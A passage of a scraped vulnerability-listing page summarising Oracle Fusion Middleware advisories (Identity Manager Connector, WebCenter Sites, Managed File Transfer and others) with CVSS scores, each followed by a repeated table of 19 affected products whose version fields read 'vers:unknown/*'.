vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 14.1.2.0.0 and 12.2.1.4.0 allows a low-privileged attacker with HTTP network access to gain unauthorized access to critical or all accessible data, with a CVSS 3.1 base score of 7.7.
7.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access via TLS to fully compromise the product, with a CVSS 3.1 base score of 9.9 indicating severe risks.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with infrastructure access to fully compromise the connector, with a CVSS 3.1 base score of 7.8.
7.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated network attackers via TLS to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 8.1.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with physical network access to potentially compromise the component, scoring 7.5 on the CVSS 3.1 scale.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows low-privileged attackers with infrastructure access and user interaction to potentially manipulate critical data, with a CVSS 3.1 base score of 7.2.
7.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access via TLS to fully compromise the product, with a CVSS 3.1 base score of 9.9 indicating severe risks.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows a highly privileged attacker with HTTPS network access to unauthorizedly create, delete, or modify critical data, with a CVSS 3.1 score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-privileged attacker with network access via LDAP can exploit a vulnerability in Oracle Identity Manager Connector for Oracle Fusion Middleware (versions 12.2.1.4.0 and 14.1.2.1.0) to compromise confidentiality, integrity, and availability, with a CVSS 3.1 base score of 8.0.
8.0 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Web Services Manager versions 12.2.1.4.0 and 14.1.2.0.0 allows low-privileged attackers with HTTP network access to create, delete, or modify critical data, with a CVSS 3.1 base score of 9.6.
9.6 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle SOA Suite's B2B Engine (versions 12.2.1.4.0 and 14.1.2.0.0) allows a low-privileged attacker with HTTP network access to potentially compromise system confidentiality, integrity, and availability, rated CVSS 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Managed File Transfer versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged network attacker to fully compromise the system, with a CVSS 3.1 base score of 9.9.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical or all accessible data, rated CVSS 3.1 base score 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to modify or delete data and cause partial denial of service, rated CVSS 3.1 base score 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
